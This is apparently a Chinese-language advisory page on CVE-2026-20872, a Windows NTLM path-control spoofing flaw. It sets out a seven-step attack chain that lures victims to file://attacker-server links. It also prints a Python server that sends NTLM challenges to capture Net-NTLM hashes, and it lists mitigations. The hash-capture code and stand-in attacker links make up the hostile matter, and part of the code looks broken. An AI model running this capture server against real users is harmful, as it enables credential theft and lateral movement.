IPBUF安全漏洞报告
English
CVE-2026-20872 CVSS 6.5 中危

CVE-2026-20872: Windows NTLM路径控制漏洞导致网络欺骗

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2026-20872
漏洞类型
路径遍历/文件名注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Windows NTLM

相关标签

CVE-2026-20872Windows NTLM路径遍历文件名注入网络欺骗凭据窃取中间人攻击身份验证绕过MicrosoftWindows操作系统

漏洞概述

CVE-2026-20872是微软Windows操作系统中NTLM(New Technology LAN Manager)认证协议的一个安全漏洞。该漏洞允许未经授权的攻击者通过外部控制文件名或路径来执行欺骗攻击。攻击者可以利用此漏洞在网络环境中进行身份验证欺骗,诱导受害者系统或用户连接到恶意资源,从而窃取凭据或执行进一步的攻击。由于该漏洞存在于Windows核心的身份验证组件中,影响范围涵盖了所有使用NTLM进行网络认证的Windows系统版本。攻击复杂度较低,但需要用户交互,攻击者可以通过钓鱼邮件、恶意链接或中间人攻击等方式触发该漏洞。CVSS评分6.5,属于中等严重程度,主要风险在于机密性影响较高,可能导致敏感凭据泄露。

技术细节

该漏洞的根本原因在于Windows NTLM认证实现中对文件路径和文件名的验证不足。攻击者可以构造特殊的请求,指定一个受控的文件路径或名称,诱导系统连接到攻击者控制的位置。具体来说,当Windows系统处理NTLM认证请求时,如果攻击者能够指定或操控认证过程中使用的资源路径,系统可能会将该路径解析到攻击者控制的服务器或资源上。攻击者通过设置恶意的SMB服务器或HTTP资源,诱骗受害者系统进行认证,从而捕获Net-NTLM哈希或执行其他恶意操作。这种攻击方式通常与LLMNR/NBT-NS投毒攻击结合使用效果更佳,攻击者可以在局域网中劫持认证请求,将受害者重定向到恶意服务器。由于NTLM协议的向后兼容性设计,即使在现代Windows环境中,只要旧版应用或系统配置启用了NTLM认证,该漏洞就可能被利用。

攻击链分析

STEP 1
步骤1
攻击者部署恶意服务器(HTTP/SMB)监听特定端口,等待受害者连接
STEP 2
步骤2
攻击者构造包含恶意文件路径的URL或资源引用,如file://attacker-server/path
STEP 3
步骤3
通过钓鱼邮件、恶意文档或网页诱导受害者访问攻击者控制的链接
STEP 4
步骤4
Windows系统尝试使用NTLM协议对攻击者的服务器进行认证
STEP 5
步骤5
攻击者服务器接收到NTLM Negotiate消息,捕获受害者的Net-NTLM哈希
STEP 6
步骤6
攻击者利用捕获的NTLM哈希进行重放攻击或离线破解以获取明文凭据
STEP 7
步骤7
使用获取的凭据横向移动或访问其他受保护资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20872 PoC - NTLM路径控制欺骗攻击 # 此PoC演示如何利用Windows NTLM路径控制漏洞进行欺骗攻击 import http.server import socketserver import os import sys from urllib.parse import urlparse class NTLMCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # 记录访问信息 client_ip = self.client_address[0] print(f"[*] Connection from: {client_ip}") # 检查NTLM认证头 auth_header = self.headers.get('Authorization', '') if auth_header.startswith('NTLM'): # 提取NTLM Negotiate消息 ntlm_msg = auth_header[5:].strip() print(f"[*] NTLM Negotiate message received from {client_ip}") # 发送NTLM Challenge self.send_response(401) self.send_header('WWW-Authenticate', 'NTLM TlRMTVNTUAACAAAAAAAAACgAAAABggAAU3J2Tm93Um9yawAAAAAAAAAAAAA=') self.end_headers() self.wfile.write(b'Unauthorized') else: # 发送NTLM挑战请求 self.send_response(401) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Connection', 'close') self.send_header('Content-Type', 'text/html') self.end_headers() response = b'<html><body>401 Unauthorized</body></html>' self.wfile.write(response) def log_message(self, format, *args): # 自定义日志输出 print(f"[HTTP] {format % args}") def start_evil_server(port=8080): """启动恶意服务器捕获NTLM认证""" print(f"[*] Starting NTLM capture server on port {port}") print(f"[*] Waiting for victim connections...") with socketserver.TCPServer(("", port), NTLMCaptureHandler) as httpd: try: httpd.serve_forever() except KeyboardInterrupt: print("\n[!] Server stopped") sys.exit(0) if __name__ == "__main__": # 攻击者启动恶意服务器 # 受害者访问攻击者控制的URL时会触发NTLM认证 # 例如:file://attacker-server/share/path start_evil_server() # 攻击利用步骤说明: # 1. 攻击者部署上述恶意HTTP服务器 # 2. 构造包含恶意文件路径的链接,如 file://attacker-ip/malicious # 3. 诱导受害者访问该链接 # 4. Windows会尝试通过NTLM认证访问该路径 # 5. 攻击者捕获Net-NTLM哈希用于重放攻击或破解

影响范围

Windows 10所有版本
Windows 11所有版本
Windows Server 2016
Windows Server 2019
Windows Server 2022
启用了NTLM认证的Windows系统

防御指南

临时缓解措施
临时缓解措施包括:1) 禁用NTLM并强制使用Kerberos认证;2) 启用SMB签名防止中间人攻击;3) 禁用LLMNR和NetBIOS-NS协议防止投毒攻击;4) 配置防火墙规则阻止445端口的出站连接;5) 启用Network Access Protection策略限制对非域控制器的认证;6) 部署EPA保护认证通道;7) 监控网络中的异常NTLM认证流量;8) 使用应用白名单限制对未知资源的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表